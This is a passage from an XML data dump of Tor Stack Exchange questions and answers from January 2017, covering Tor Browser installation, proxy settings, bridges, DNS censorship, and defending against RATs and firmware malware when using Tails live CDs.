  <row Id="13674" PostTypeId="1" CreationDate="2017-01-12T11:23:38.557" Score="1" ViewCount="618" Body="&lt;p&gt;It is the first time I try to install it, and I get this error and I don't have any log by copying to clipboard, I use Windows and I've already restarted everything... version 6.0.8&#xA;Thanks&#xA;&lt;a href=&quot;https://i.stack.imgur.com/43w4x.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/43w4x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15827" LastActivityDate="2018-06-18T09:51:20.703" Title="I can't install Tor (unexpectedly exited)" Tags="|tor-install|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13675" PostTypeId="1" CreationDate="2017-01-12T17:27:53.767" Score="0" ViewCount="126" Body="&lt;p&gt;I am using my laptop at home (with proxy) and outside my home (without proxy).&#xA;I have set Tor to use proxy.&#xA;Then, of course, when I am not at home, it cannot connect to the network.&#xA;No problem so far.&#xA;The problem is, however, that I do not know how to change the settings. &#xA;The window &quot;Connecting to Tor network&quot; closes too quickly for me to click on &quot;Open settings&quot;. &#xA;Then the window &quot;Tor network settings&quot; appears, but it only has the options &quot;Restart Tor&quot;, &quot;Contact torproject.org/about/contact.html#support [not a button]), &quot;Copy log to clipboard&quot;, &quot;Next&quot;, and &quot;Close&quot;. (Please excuse me if I do not have the exact names, I am using Tor with German.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my questions: What do I have to do to be able to use Tor both at home and outside my home? Where can I set the settings so Tor knows not to search for a proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" OwnerUserId="15829" LastActivityDate="2017-03-13T18:53:08.600" Title="Would like to use Tor with _and_ without proxy --&gt; unexpectedly ends program" Tags="|proxy|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13676" PostTypeId="2" ParentId="13675" CreationDate="2017-01-12T18:11:26.573" Score="1" Body="&lt;p&gt;Tor Browser's use of an upstream proxy is configured through Tor Button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the Green Onion menu then select Tor Network Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you should be able to control Tor's use of an upstream proxy and pluggable transports by ticking or unticking the appropriate options and filling in the forms they toggle.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-12T18:11:26.573" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13677" PostTypeId="1" CreationDate="2017-01-12T18:30:47.190" Score="0" ViewCount="969" Body="&lt;p&gt;I have a executable .jar file which I want to execute. It needs internet access, but it seems like it is the only program wich is not able to access the internet. I use the standard configuration for the JRE which comes preinstalled on tails (openjdk-7-jre). I suppose this is a problem with the JRE configuration but I was not able to find a way to change it in a way that would make it work.&#xA;Do you have any idea what I can do?&lt;/p&gt;&#xA;" OwnerUserId="15830" LastActivityDate="2021-12-18T18:03:25.343" Title="How to use the JRE with Tor in Tails OS" Tags="|configuration|tails|java|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13678" PostTypeId="2" ParentId="13677" CreationDate="2017-01-12T19:15:59.017" Score="0" Body="&lt;p&gt;First of all, try Oracle JDK/JRE - OpenJDK causes such a weird problems sometimes even nowdays. Second - try to use Tor as a proxy, set these properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;java.net.useSystemProxies=true&lt;/li&gt;&#xA;&lt;li&gt;http.proxyHost=proxy-&lt;strong&gt;ip&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;http.proxyPort=proxy-port&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-12T19:15:59.017" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13679" PostTypeId="2" ParentId="3887" CreationDate="2017-01-13T03:16:27.287" Score="0" Body="&lt;p&gt;Which scripts are the most dangerous?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Scripts which target tor, etc.  The reason is self evident.&lt;/li&gt;&#xA;&lt;li&gt;Scripts from social media.  We all know social media is inherently vulnerable, and governments use it.  (Reference several pieces of news - you can look them up yourself.)&lt;/li&gt;&#xA;&lt;li&gt;Scripts from websites you don't trust.  You either do or you don't.&lt;/li&gt;&#xA;&lt;li&gt;Last but not least - your own script.  Your behavior on the web can be used to track you.  Especially if you make starpicular spilling mistooks. ;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15836" LastActivityDate="2017-01-13T03:16:27.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13680" PostTypeId="1" AcceptedAnswerId="13681" CreationDate="2017-01-13T03:42:10.617" Score="0" ViewCount="128" Body="&lt;p&gt;Is there a way to selectively load javascript on a javascript dependent site, such that the site still functions but cannot track you through it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, this would be an excellent research topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is, it would be an excellent addition to any browser.&lt;/p&gt;&#xA;" OwnerUserId="15836" LastActivityDate="2017-01-13T04:30:49.000" Title="Selective javascript" Tags="|anonymity|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13681" PostTypeId="2" ParentId="13680" CreationDate="2017-01-13T04:22:01.693" Score="1" Body="&lt;p&gt;Noscript allows this functionality, you can go into it's settings and enable fine grained control of what scripts are and are not allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is not recommended, for a couple of reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, trying to classify good/bad scripts is always going to have failure cases. Any attempt to classify scripts as benign or malicious based on simply their path will fail. The attacker can, from the same location, serve one script one time and a second script the second time. Any attempt to classify on content will fail, it would either require manual re-analysis for every possible version of some popular javascript library, and every possible minification of it and any attempt to automatically analyse scripts for bad content will fail, due to the halting problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all, it's possible for javascript to tell which javascript is loaded, by for example checking to see if some variable or function that is defined in some other script has been set. By doing this, any script loaded into any site can tell what scripts you have or have not been allowed. Since there is, as mentioned in part 1, no meaningful way to determine if a script is or is not good or a source is or is not trustworthy the user themselves would need to create this list from their own preferences (giving users choice to create their own security choices and preferences is almost always a fatal mistake) the set of what scripts a user would or would not load would constitute a fingerprint, while possibly not unique it would make you less anonymous. The set of other Tor users that you may possibly be would be greatly reduced. A malicious set of conspiring websites could use similar techniques to track the user across site and sessions. By feeding the user a &quot;tainted&quot; script and having them whitelist it, it would be possible for a third party site to get the user to try to load the set of all possible tainted scripts and identify the user based on which of the scripts they have allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, for the best anonymity properties keep scripts disabled and enable them only when you need them, by toggling allow globally or forbid globally.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-01-13T04:30:49.000" LastActivityDate="2017-01-13T04:30:49.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13682" PostTypeId="1" AcceptedAnswerId="13688" CreationDate="2017-01-13T10:34:55.950" Score="2" ViewCount="278" Body="&lt;p&gt;This is my understanding around how Tor may be used to circumvent a country's censorship of particular sites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John lives in a country that has blocked traffic to a particular server (via DNS, I assume?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John jumps onto Tor, and now his traffic is sent to a different DNS server since his exit node is quite possibly outside of his overly-strict country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He can have access to the site, great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, I don't live in a country that has this kind of block in place. But supposing it was &lt;em&gt;me&lt;/em&gt; logging onto Tor, is it not possible I could hit an exit node that was from John's country? Thus being subject to the DNS server that blocks traffic to the server to which I'm making a request?&lt;/p&gt;&#xA;" OwnerUserId="15837" LastActivityDate="2017-01-13T22:29:11.703" Title="How is tor traffic exempt from censorship/a country's DNS servers?" Tags="|exit-relays|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13683" PostTypeId="1" CreationDate="2017-01-13T10:57:56.617" Score="0" ViewCount="459" Body="&lt;p&gt;Are they changed, and is there a recommended time to change them?&lt;/p&gt;&#xA;" OwnerUserId="15838" LastActivityDate="2017-01-13T22:08:03.000" Title="How often should the bridges list that is downloaded be replaced?" Tags="|security|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-14T23:53:21.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="13685" PostTypeId="1" CreationDate="2017-01-13T14:22:01.490" Score="1" ViewCount="5712" Body="&lt;p&gt;I was using the Tor browser bundle with JavaScript turned off and when I clicked on a page with a video playing my application outside of Tor kicked in and popped up as an overlay over the Tor page asking me if I wanted to download the video!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how this could happen and if the IDM app would have contacted the onion site I was on thus revealing IP and making Tor useless?&lt;/p&gt;&#xA;" OwnerUserId="15842" LastEditorDisplayName="user5" LastEditDate="2017-01-15T04:28:52.977" LastActivityDate="2018-01-24T03:26:09.423" Title="Internet download manager reveals IP using Tor Bundle?" Tags="|anonymity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13686" PostTypeId="1" CreationDate="2017-01-13T17:08:20.270" Score="1" ViewCount="624" Body="&lt;p&gt;If i have a RAT on my computer, obviously, they have control over the computer when I am in win 10 os, for ie. But what about if after the RAT has infected the host os, I use a LIVECD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QUESTION: When using the livecd, while the host system is RAT infected, can they still see everything I am doing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;QUESTION: While in TAILS, if I open an email that is created to auto-execute with a RAT (or I click a link, etc), and the RAT downloads onto my livecd, could a very sophisticated (3-letter agency) RAT getting onto my HOST OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitely have a RAT on my computer; opening and closing tabs, etc. I opened an email that auto-executed. NOt first time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="15844" LastActivityDate="2017-01-15T10:17:13.320" Title="TAILS - LIVECD &amp; RATs" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13687" PostTypeId="2" ParentId="13685" CreationDate="2017-01-13T20:06:28.520" Score="1" Body="&lt;p&gt;Yes, this kind of application (which is going around hooking itself into applications like malware) can indeed compromise Tor Browser usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may download outside of Tor Browser, or download through Tor Browser but leak DNS or any number of other activities. In this case I'd consider it to be akin to malware, even if the authors had no real ill intent, it is working against your interests and forcing its way into applications that it has no right to be in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would not be safe to use Tor Browser on an infected system and so I'd consider it unsafe to use Tor Browser on a system with such applications. It's possible that other applications are doing this &lt;em&gt;without&lt;/em&gt; making obvious popups and so you haven't yet noticed. Consider Tails as an alternative operating system to help mitigate against such accidental leaks, in cases where they'd endanger you.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-13T20:06:28.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13688" PostTypeId="2" ParentId="13682" CreationDate="2017-01-13T20:18:20.983" Score="3" Body="&lt;p&gt;Yes, that's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that no serious censorship is done through DNS (alone) though, it's trivially easy to defeat, even without Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit relays &lt;em&gt;should&lt;/em&gt; be censorship free, so people shouldn't be setting up exits inside of censored countries. If they are they should maybe try excluding censored sites or locations from their Exit Policy so that people won't use them for accessing censored content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An relay which &lt;em&gt;is&lt;/em&gt; censoring exited traffic is considered &quot;bad&quot;, from the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reporting Bad Relays&lt;/a&gt; wiki article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tampering with exit traffic in any way. This might be accidental (such as an anti-virus filter) or malicious (commonly SSLStrip, which replaces https:// links with http:// to snoop on traffic).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you encounter one which is applying censorship, you should report it to bad-relays@lists.torproject.org to be investigated.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-13T20:18:20.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13689" PostTypeId="2" ParentId="12134" CreationDate="2017-01-13T21:42:42.803" Score="0" Body="&lt;p&gt;If you were able to make usb ethernet connection via this app - you need just a simple routing VM with Tor inside, no need to set up anything else: firewall will do the whole trick.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-13T21:42:42.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13690" PostTypeId="2" ParentId="13686" CreationDate="2017-01-13T22:00:09.987" Score="0" Body="&lt;p&gt;livecd is 100% safe and the &lt;strong&gt;only way&lt;/strong&gt; in your case: it lacks the persistense mutability for running OS: after every reboot it's starting brand new. Unless you have a very sophisticated virus/malware that resides on BIOS/firmware of your PC components like &lt;a href=&quot;https://www.google.ru/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=video&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0ahUKEwjWkJOdjsDRAhWKiCwKHWXwAJUQtwIIGjAA&amp;amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DPE97Ajaaur8&amp;amp;usg=AFQjCNHc33PkQfmap20U8t8ncBe6bZAoaQ&amp;amp;sig2=dQn2L9lJ0cMZKA0ZpmAB4Q&amp;amp;bvm=bv.144224172,d.bGs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rakshasta&lt;/a&gt; - it's wiped out with every reboot dry clean, even if infected the running instance. Plug your old Windows HDD &lt;strong&gt;after&lt;/strong&gt; fully booting your live image via USB2SATA cable and physically unplug it &lt;strong&gt;before&lt;/strong&gt; the reboot. It will make sure that no byte will be present during the reboot process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About infecting host os from livecd - use a reading-only CD/DVD ROM device :) It's just that simple - you can not physically infect the live image if it's physically immutable(reading=only drives laser can not write a thing on medium inserted, it's a physically different laser).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE for answers for your further questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Rakshasa: you should see the video, where it's creator explains it in details, the article seemed to give you just partial understanding. If you will reflash your BIOS - it's possible to re-infect it from another hardware firmware container that has been infected, it's not that simple. It has &lt;em&gt;full&lt;/em&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;em&gt;unrestricted&lt;/em&gt; access to &lt;em&gt;everything&lt;/em&gt; - it &quot;owns the box&quot;. It can even mine bitcoins on your GPU if it wants to and has a code for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1+2. To mitigate this risk use single-board ARM computers &lt;strong&gt;without&lt;/strong&gt; BIOS and firmwared components &lt;strong&gt;and without&lt;/strong&gt; ARM TrustZone &quot;feature&quot;. Nowdays there're some decent ARM SBC's that are comparable/equally-useful as a regular netbook or even a simple PC/laptop. Also - using Linux in advanced way - you have a good choice for isolating potentially harmful parts. Also keep in mind that FreeBSD is making it's way to ARM, so if it's available for your platform - try it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About rendering RAT useless using read-only drive: yes, it is rendered useless. Even if they will re-infect you - press reset and you're &lt;strong&gt;completely&lt;/strong&gt; clean! Unless they have planted a Rakshasta-like tool. But if you will be using ARM SBC - even Rakshasta will be useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Plug your old Windows HDD&quot; means that you remove your HDD with infected Windows installation from connection with your PC via SATA and plug it to USB2SATA cable - to be able to use it to get the information you need from your old HDD. If you don't need it(for example, you have a backup) - just unplug HDD from your PC completely, for safety reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The boot/reboot sequence is - in details :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PC is powered off, medium is inside your read-only drive. Unplug the USB2SATA cable with your old HDD(if you're using it)&lt;/li&gt;&#xA;&lt;li&gt;Boot your PC with livecd. No volatile/modifiable/persistent volumes are presenting at your PC now, so it's a 100% &lt;strong&gt;clean&lt;/strong&gt; boot.(not taking Rakshasta case into account)&lt;/li&gt;&#xA;&lt;li&gt;If you need old hdd to get the info from it - plug it in and mount it with &lt;code&gt;noexec&lt;/code&gt; option, i.e. executing a byte from it is prohibited by &lt;em&gt;Cleanly booted OS kernel instance&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Unplug your old HDD with USB2SATA when you're about to reboot - before making the reboot&lt;/li&gt;&#xA;&lt;li&gt;Reboot your system &lt;strong&gt;by power-cycling it&lt;/strong&gt; on/off &lt;em&gt;with PSU off as well&lt;/em&gt;, i.e. the motherboard must loose &lt;strong&gt;all&lt;/strong&gt; power for 1+ minutes. Why it's so complicated? Why not unplug HDD and just use &lt;code&gt;reboot&lt;/code&gt;-like OS command ? Well, the reset contact lane is not always properly propargated to &lt;em&gt;every&lt;/em&gt; RAM and MCU chip in system and, for example, sometimes some data can safely survive the &quot;soft-reboot&quot; in GPU memory, for example. So powering it off &lt;strong&gt;completely&lt;/strong&gt; will assure you in fully cleaning and restarting all the MCU chips in the system and all RAM chips will be cleaned for sure.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;IF you're suspecting Rakshasta case - reflashing &lt;em&gt;truely everything&lt;/em&gt; on most of modern motherboards requires not just BIOS chip reprogramming, but also - using JTAG programmer - all the other smart parts of the motherboard. Also keep in mind that some remote management features are vendor-hardcoded backdoors, like an &lt;a href=&quot;http://www.techeye.net/chips/intel-responds-to-always-on-3g-processor-conspiracy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel's one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE #2 for your addidional questions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facts checklist:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;yes&lt;/li&gt;&#xA;&lt;li&gt;yes - &lt;strong&gt;in case of ARM SBC&lt;/strong&gt;, in clear motherboard case there's still a risk of re-infecting your hardware&lt;/li&gt;&#xA;&lt;li&gt;The purpose is to make sure that infected medium will &lt;strong&gt;not&lt;/strong&gt; be present at reboot, so no code can boot from it ahead of livecd clean kernel.&lt;/li&gt;&#xA;&lt;li&gt;yes, all hardware &lt;em&gt;with all the subcomponents&lt;/em&gt;: some devices like a motherboard can have 2 or more firmwares running at the different parts/MCU's&lt;/li&gt;&#xA;&lt;li&gt;yes&lt;/li&gt;&#xA;&lt;li&gt;yes. every power cycle will wipe out all the RAM, livecd is immutable, so the only possible risk is infecting a &lt;em&gt;running instance&lt;/em&gt;, but there's &lt;strong&gt;no physical way&lt;/strong&gt; to make the infection survive the restart&lt;/li&gt;&#xA;&lt;li&gt;no, it can be running inside a container like macromedia flash. To write into RAM(a temporary memory, it's not persistent) any code needs to be &lt;em&gt;just&lt;/em&gt; executed, no matter the way&lt;/li&gt;&#xA;&lt;li&gt;yes, proper power cycle is powering the RAM chips off, and even if they are cooled(in case of cold boot attack) - one minute of power off will 100% clear the RAM chip even cooled to a superconductive state :)&lt;/li&gt;&#xA;&lt;li&gt;if your cdrom is read-only - it won't be able to write to the media anyway, it should not be executed(and activated by doing so). That's the reason of &lt;code&gt;noexec&lt;/code&gt; option in mounting your old HDD - execution from this media will be blocked by kernel&lt;/li&gt;&#xA;&lt;li&gt;you're letting OS to powr it off correctly, no &quot;pull a plug&quot; call, of cause. After it's off by itself - unpower it physically. Im' using &lt;a href=&quot;http://lib.chipdip.ru/221/DOC001221560.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thing&lt;/a&gt; to do the powercycle correctly and in a convinient way. Let the OS power the system down, turn the switch OFF, wait a minute, turn the switch ON - and proceed to booting&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No, it's just an on-flight reflash, if it's supported by your platform.&lt;/li&gt;&#xA;&lt;li&gt;Some of them do have a flashable &lt;em&gt;from the PC USB port&lt;/em&gt; MCU's, others have a dedicated JTAG pins not connected anywhere, just waiting for an external programmer to be attached only physically to it, so you better check. &lt;/li&gt;&#xA;&lt;li&gt;yes&lt;/li&gt;&#xA;&lt;li&gt;full wiping out of the memory contents and making sure that your old infected medium(HDD) is not reachable by bootloading process &lt;strong&gt;At all&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;No, laptop is just a form-factor&lt;/li&gt;&#xA;&lt;li&gt;A laptop case is a HUGE for an ARM SBC - you can place 2-8 of them inside if you wish :) All SBC's have their SoC's named, so take a look and see is there're a TrustZone in it. It's a hardware-only feature, so if it's missing - it's physically impossible to emulate it. Other chips are usually displayed as well on a big top photo, so you can check them too. If you need a particular board advice - just ask ;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-15T01:58:07.217" LastActivityDate="2017-01-15T01:58:07.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13691" PostTypeId="2" ParentId="13683" CreationDate="2017-01-13T22:08:03.000" Score="0" Body="&lt;p&gt;if it works - there's no need to explicitly rotate them. It is recommended to add new ones - but for &quot;just in case&quot; reason. I haven't monitored the bridge list changes frequency, but in 2 years after a request I've received a different bridges via email request&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-13T22:08:03.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13692" PostTypeId="2" ParentId="13685" CreationDate="2017-01-13T22:22:30.457" Score="1" Body="&lt;p&gt;It's not a Tor browser fault, but it's how the data leaks: a side-effect of a very good step in browser evolution called &quot;external container handler&quot;. The idea itself is brilliant &lt;em&gt;by design&lt;/em&gt;: in your case you don't need to install a thing &lt;em&gt;in your browser, specifically&lt;/em&gt; - you just call the helper container with a component to handle the content type your browser can't handle, a video in your case. But - as with most of good ideas - an implementation brings us problems. Yes, the container is created, but &lt;em&gt;by OS&lt;/em&gt;, separated from the &quot;calling party&quot;(the browser in this case, it's not just a browsers problem). And it does not give a single concern about the network settings: it can just ask OS to give the system-wide proxy, it can ignore all the settings and just go directly. That's why Tor Browser - and &lt;strong&gt;any standalone browser&lt;/strong&gt; is defenately &lt;strong&gt;not&lt;/strong&gt; the secure way of browsing, you saw the practical illustration yourself. The VM, isolated and routed - is the secure and leak-safe way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Don't blame Tor Browser or your OS - they're doing what they are supposed to do &lt;em&gt;by design&lt;/em&gt;: your OS is a basic OS, and Tor Browser is just a browser. They can not do beyound the tasks they're designed for. It's your responsibility to use safe setup&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-13T22:22:30.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13693" PostTypeId="2" ParentId="13682" CreationDate="2017-01-13T22:29:11.703" Score="1" Body="&lt;p&gt;Tor is - basically - a network path censorship circumverting tool, and it does it's job quite well! Tor works on &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSI Layer&lt;/a&gt; 3 and 4. The question you're asking is about a &lt;em&gt;service layer&lt;/em&gt;, a Layer 7. Tor can not help you here, and it's OK. It's your task to set up a proper DNS resolver for yourself: Tor physically can't fix DNS protocols bugs and abuse, it does not inspect packets, it just helps them to pass from point A to point B in the great-harder-to-censor-or-mess-with way.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-13T22:29:11.703" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13694" PostTypeId="1" CreationDate="2017-01-13T23:54:42.723" Score="1" ViewCount="21" Body="&lt;p&gt;I had tor working and did not realize firefox is needed to run tor so i uninstalled it.  I tried reinstalling tor after i reinstalled firefox and the installer will launch but freezes up when attempting to connect to the tor network. here is the info copied from the clipboard.  please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/13/2017 17:07:19 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/13/2017 17:07:19 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/13/2017 17:07:19 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/13/2017 17:07:19 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/13/2017 17:07:19 PM.300 [NOTICE] Renaming old configuration file to &quot;G:\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;1/13/2017 17:07:19 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;1/13/2017 17:07:19 PM.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;1/13/2017 17:07:19 PM.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;1/13/2017 17:07:19 PM.800 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;1/13/2017 17:07:19 PM.900 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;1/13/2017 17:07:22 PM.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;1/13/2017 17:07:22 PM.300 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;1/13/2017 17:07:26 PM.800 [WARN] Our clock is 52 minutes, 37 seconds behind the time published in the consensus network status document (2017-01-13 23:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;1/13/2017 17:07:26 PM.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;1/13/2017 17:07:26 PM.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;1/13/2017 17:17:09 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;1/13/2017 17:17:09 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/13/2017 17:17:09 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;1/13/2017 17:17:10 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="15846" LastActivityDate="2017-01-13T23:54:42.723" Title="Tor will not install" Tags="|tor-install|" AnswerCount="0" CommentCount="2" ClosedDate="2017-01-15T11:02:09.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="13696" PostTypeId="2" ParentId="13686" CreationDate="2017-01-14T01:44:38.160" Score="1" Body="&lt;p&gt;It depends on what layer the PC is infected and what component is infected by the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the malware lives in userspace or kernelspace on the operating system or is a bootkit installed into the bootsector of the operating systems primary hard drive, then it will be unable to interfere with any other operating systems that are booted on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it has infected firmware on a device then it may be able to perform malicious activities, depending on which bit of firmware and what the device can do will determine how compromised it is. For example, if the USB drive (e.g. &lt;a href=&quot;https://opensource.srlabs.de/projects/badusb&quot; rel=&quot;nofollow noreferrer&quot;&gt;BadUSB&lt;/a&gt;) or your CD/DVD reader device was infected, then it would be possible for that device to subvert the normal Tails boot process and inject malicious code during the boot process which would be very difficult to detect from inside the operating system and have complete control over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These lower level infection methods are problematic because they're hard to detect and they're hard to remove once detected. Research group LegbaCore created a proof of concept tool called &quot;LightEater&quot; which uses a remote exploit to gain code execution and then subvert the BIOS of the targeted system, once in the BIOS they are able to take total control of any operating system that is booted on the device, and invisibly operate it entirely outside of the view of the user, a demonstration of using it to steal cryptographic keys from Tails is available &lt;a href=&quot;https://www.youtube.com/watch?v=sNYsfUNegEA&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also consider that creating a &quot;livecd&quot; from inside an infected operating system is a version of the &quot;trusting trust&quot; attack. If your operating system is untrustworthy, any media that you create with it could be subverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a three letter agency was very interested in you and you were using a livecd with some read-only medium and you were exploited (by email, or whatever means) then they &lt;em&gt;could&lt;/em&gt; potentially infect your computer, as mentioned if they attack the firmware of your livecd reader then they can make it read data that they control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are running Tails from a livecd and you have your host operating systems boot drive plugged in then similarly they could infect it that way. There are ways to protect against this, by using secure boot with a TPM for example, but they're currently not very well supported or user friendly and still have loopholes that might allow attackers to subvert them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ultimately however,&lt;/strong&gt; before you go down the paranoia rabbithole: it sounds like the malware you're describing, if it 